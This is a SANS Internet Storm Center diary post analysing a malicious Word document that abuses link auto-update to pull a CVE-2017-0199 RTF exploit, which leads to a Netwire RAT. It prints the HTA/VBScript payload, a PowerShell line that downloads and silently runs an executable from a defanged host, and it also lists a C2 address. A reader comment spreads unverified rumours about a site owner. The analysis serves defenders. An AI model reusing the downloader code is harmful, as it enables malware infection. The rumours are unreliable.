SANS ISC: Maldoc with auto-updated link - Internet Security | DShield

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SANS ISC InfoSec Forums

Yesterday, while hunting, I found another malicious document that (ab)used a Microsoft Word feature: auto-update of links. This feature is enabled by default for any newly created document (that was the case for my Word 2016 version). If you add links to external resources like URLs, Word will automatically update them without any warning or prompt.

You can check the status of the feature with the “File” menu, “Options” then “General”:

The infection vector was classic: The document ("N_Order#xxxxx.docx" with 5 random numbers) was received as an attachment and has a VT score of 12/59 this morning[1]. The file has an embedded link to another document which is a malicious RTF file that tries to exploit the CVE 2017-0199. The link has the auto-update feature enabled as you can see:

The RTF document is located at hxxp://uploads[.]shanatan[.]moe/uhjytx.doc. Word is trying to access the malicious document as seen in the network capture:

OPTIONS / HTTP/1.1
User-Agent: Microsoft Office Protocol Discovery
Host: uploads.shanatan.moe
Content-Length: 0
Connection: Keep-Alive

OPTIONS / HTTP/1.1
Connection: Keep-Alive
User-Agent: DavClnt
translate: f
Host: uploads.shanatan.moe

GET /uhjytx.doc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: uploads.shanatan.moe
Connection: Keep-Alive

The RTF document is a classic one with a VT score of 31/57[2]. It downloads a Javascript payload from hxxps://i[.]memenet[.]org/wqlsv.hta. It creates a shell object to spawn a Powershell command and download a malicious PE file. (Note: the code has been beautified)

<script type="text/vbscript”>
set shhh = CreateObject(“WScript.Shell”)
Dim var1
var1 = “PowerShell (New-Object System.Net.WebClient).DownloadFile(‘hxxp://indiancraftz[.]com/anold/server.exe’,'%temp%\svchost32.exe’);Start-Process ‘%temp%\svchost32.exe’”
shhh.run var1,vbHide
self.close
</script>

The PE file located at hxxp://indiancraftz[.]com/anold/server.exe has a VT score of 17/65[3]. It looks to be a Netwire RAT[4] phoning home to 185.140.53.212:3380 (located in Germany)

[1] https://www.virustotal.com/#/file/01a6a9bf35aad6b7a764043d569168638ee4323b763e8625db34bef110357b40/detection
[2] https://www.virustotal.com/#/file/e1a357123f06286a5fcd54068dc979dbdf0125c3b6af5baf206d6ef7958f8940/detection
[3] https://www.virustotal.com/#/file/ddac68769ce9407f7bebdf246c820eec203224a918904edcb11d47ee8ec68256/detection
[4] https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Just a quick correction the correct order of steps should be “File” menu, “Options”, "Advanced", then “General”.

Interesting that it should be hosted on memenet, I know the owner of memenet and he's closely affiliated with lesterid, who owns cocaine.ninja and waifu.club. lesterid's warrant canary stopped being updated more than three months ago and he's disabled uploads to his sites, and when asked about it, he simply says that he's "aware that it hasn't been updated". If it's indicative of anything, memenet is probably the next to be compromised/raided, and it's certainly is not the first place I would look for storage space for malware